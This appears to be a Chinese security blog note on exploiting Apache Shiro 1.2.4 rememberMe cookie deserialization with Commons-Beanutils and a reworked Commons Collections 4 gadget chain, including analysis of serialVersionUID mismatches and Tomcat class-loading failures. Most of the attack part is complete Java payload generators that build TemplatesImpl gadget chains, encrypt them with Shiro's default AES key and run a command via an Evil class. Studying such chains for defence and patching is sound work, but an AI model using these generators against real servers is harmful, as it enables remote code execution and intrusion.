前言:调用链都是来自于phith0n的java代码审计星球的知识点(感谢酒馆师傅给的资料),一个是phith0n自己的,还有一个是里面一个成员说的,自己看了java漫谈里面的shiro无cc依赖的cb链之后,写下这篇笔记来记录!
这篇笔记是上一篇的延续:https://www.cnblogs.com/zpchcbd/p/15023055.html
问题1:为什么yso的1.9.2在shiro-1.2.4中的commons-beanutils-1.8.3中无法进行利用?
我还以为就只能用在1.9.2,但是java漫谈中在复现shiro反序列化的时候的cb依赖是1.8.3,同样是可以进行利用,但是需要加以修改,原因在于serialVersionUID对类的验证,所以1.9.2的利用链在1.8.3中同样可以进行使用,我们只需要手工修改1.8.3的serialVersionUID在进行发送payload即可
然后自己就又有一个问题,那么1.9.2的利用链是否能在1.6.0进行使用,到时候自己需要验证下!
更新2021-7-17
关于1.6.0是否能使用的问题,同样可以去观察serialVersionUID是否一样,以及代码的变动,我在360BugCloud中看到了一篇 沐白《Java反序列化漏洞原理及实战运用》,这里感谢横戈团队分享的资源!
所有commons-beanutils版本的serialVersionUID
因为我这里问的是1.6.0能否使用的问题,那这里比较1.6.0和1.9.2的SUID,根据上面的图可以看到是不行的。
什么是serialVersionUID
serialVersionUID:即序列化的版本号,适用于Java的序列化机制。
serialVersionUID在序列化通信时起的作用:
1、进行Java序列化操作类时,系统会把当前类的serialVersionUID写到字节流当中
2、在反序列化时,JVM会把接收到的字节流中的serialVersionUID与本地相应实体类的serialVersionUID做比较,如果相同就认为一致则继续进行反序列化,否则反序列化会异常退出(java.io.InvalidClassException),避免后续更大的隐患。
解决方法
这里的解决办法就是在生成序列化的数据的时候,用对应的版本的包来进行生成,如果是Commons Beanutils 1.8.3
的话,那么这里pom包就换到1.8.3即可
回到主题,这里的主题是shiro的cookie反序列化的时候如果当前环境不依赖cc链只存在cb依赖的话(默认不依赖cc链只存在cb依赖的环境:spring-shiro)
那么该如何进行利用为话题进行讨论,如下有两种解决方法
java.lang.CaseInsensitiveComparator类
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // 替换
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
System.out.println(Base64.encodeBase64String(clazz.toBytecode()));
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
java.util.Collections$ReverseComparator
public class CommonsBeanutils2Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());// 替换
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
System.out.println(Base64.encodeBase64String(clazz.toBytecode()));
byte[] payloads = new CommonsBeanutils2Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
演示环境
maven依赖,commons-beanutils为1.8.3的包
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
Evil类
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception {
super();
Runtime.getRuntime().exec("calc.exe");
}
}
通过上面其中一条利用链来进行运行,生成payload:
成功运行calc
,如下所示
利用链分析
我们正常的一个调用链是通过
问题2:当环境中存在commons-collection-4.0
依赖的时候,为什么同为commons-collection-4.0的cc2和cc8调用链在攻击shiro中可以进行利用,但是cc4却无法进行利用?
因为自己在测试的时候发现只有cc2和cc8可以进行利用,按照道理来说正常的话cc4应该也是可以的,我这里拿https://github.com/feihong-cs/ShiroExploit-Deprecated
这个工具来进行演示,如下所示,当前环境存在commons-collection-4.0
的依赖
这个问题的答复也来自java漫谈的pdf中,作者说是因为 class.forname
加载的问题!
先来看下cc4的调用链,因为这些利用工具都是直接调用ysoserial中的cc4的模块,所以这里就可以去看ysoserial中的cc4,构造代码如下:
1、这里的templates使用的是TemplatesImpl类,看起来这个类很通用,因为在yso中可以看到cc2-4就一直使用这个模板进行攻击,调用链有所不同,但是攻击利用始终都是用这个类!
2、接着就是开始构造调用链,可以看到InstantiateTransformer,之前在cc3中学到过,这个类可以通过构造函数paramTypes,args来进行实例化对应的任意类
3、然后再是用ConstantTransformer来进行链式调用
4、触发反序列化对象为PriorityQueue中的TransformingComparator
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
接着通过yso来生成cc4,调试界面直接报错,内容如下
这里跟到org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55)
中去看下,内容如下,那么可以看到这里的报错信息原因就是[[Lorg.apache.commons.collections4.Transformer;:
这个无法进行loadClass才导致的如下报错
原因到底是为什么?那么这里就在return ClassUtils.forName(osc.getName());
下个断点进行调试,看看其中的如何走的
如下图所示就是在加载Transformer
的Class的时候
F7继续跟进去,可以发现是这里clazz = cl.loadClass(fqcn);
加载失败了,那么这个cl
是什么对象呢?WebappClassLoader类
shiro加载Class 最终调用的是Tomcat下的WebappClassLoader,该类会使用 Class.forName()
加载数组类,但是使用的ClassLoader是URLClassLoader,无法加载三方依赖jar包commons-collection-4.0.jar中的Transformer数组。导致shiro下无法直接使用commons-collection-4.0利用链,对于commons-collection-3.2.1利用链,如果依赖存在,但是无法利用,其原因也是一样的
解决数组加载失败的问题
这里可以通过TemplatesImpl类来进行构造解决
CommonsCollections4的非数组方式构造调用链:这里引入LazyMap和TiedMapEntry来作为反序列化纽带,类似CommonsCollections6(commons-collection-3.2.1)利用链利用
public class CommonsCollection4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(tpl, "_name", "HelloTemplatesImpl");
setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.lazyMap(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, tpl);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(outerMap);
oos.close();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.println(ciphertext.toString());
}
}
对shiro进行发送payload,结果可以发现成功执行了
其实上面的这段调用链已经脱离了Commons Collections 4的利用链,更多的还是说明在shiro本身中实现的ClassUtils.forName(osc.getName())
对于数组形式的利用链还是不支持的,所以才会导致存在依赖但是无法进行利用
为什么shiro-spring中的cc4却是可以的?
这里继续开shiro-spring,shiro版本为1.2.4来进行演示
在spring中确实可以进行加载Class的